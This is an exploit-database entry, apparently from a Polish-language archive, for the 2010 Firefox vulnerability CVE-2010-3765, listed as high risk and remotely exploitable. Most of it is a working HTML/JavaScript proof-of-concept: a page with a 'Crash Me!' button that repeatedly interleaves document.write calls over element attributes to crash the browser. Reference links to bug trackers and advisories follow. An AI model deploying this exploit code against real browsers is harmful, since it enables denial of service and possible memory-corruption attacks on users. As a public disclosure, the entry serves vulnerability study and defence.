Firefox Interleaving document.write and appendChild Denial of Service

2010.11.03

Credit: Daniel Veditz

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-3765

CWE: CWE-noinfo

Ogólna skala CVSS: 9.3/10

Znaczenie: 10/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222
<html><body>
<script>
function getatts(str){
var cobj=document.createElement(str);
cobj.id="testcase";
document.body.appendChild(cobj);
var obj=document.getElementById("testcase");
var atts = new Array();
for(p in obj){
if(typeof(obj[p])=="string"){
atts.push(p);
}
}
document.body.removeChild(cobj);
return atts;
}
function crashme() {
var tags = new Array("audio", "a", "base");
for (inx = 0; inx < 0x8964; inx++) {
for (i = 0; i < tags.length; i++) {
var atts = getatts(tags[i]);
for (j = 0; j < atts.length; j++) {
var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
">" + tags[i];
document.write(html);
}
}
}
}
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html> 

Referencje:

https://bugzilla.redhat.com/show_bug.cgi?id=646997

https://bugzilla.mozilla.org/show_bug.cgi?id=607222

http://www.norman.com/security_center/virus_description_archive/129146/

http://www.norman.com/about_norman/press_center/news_archive/2010/129223/

http://isc.sans.edu/diary.html?storyid=9817

http://blog.mozilla.com/security/2010/102000/26/critical-vulnerability-in-firefox-3-5-and-firefox-3-6/

See this note in RAW Version

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Firefox Interleaving document.write and appendChild Denial of Service

Referencje:

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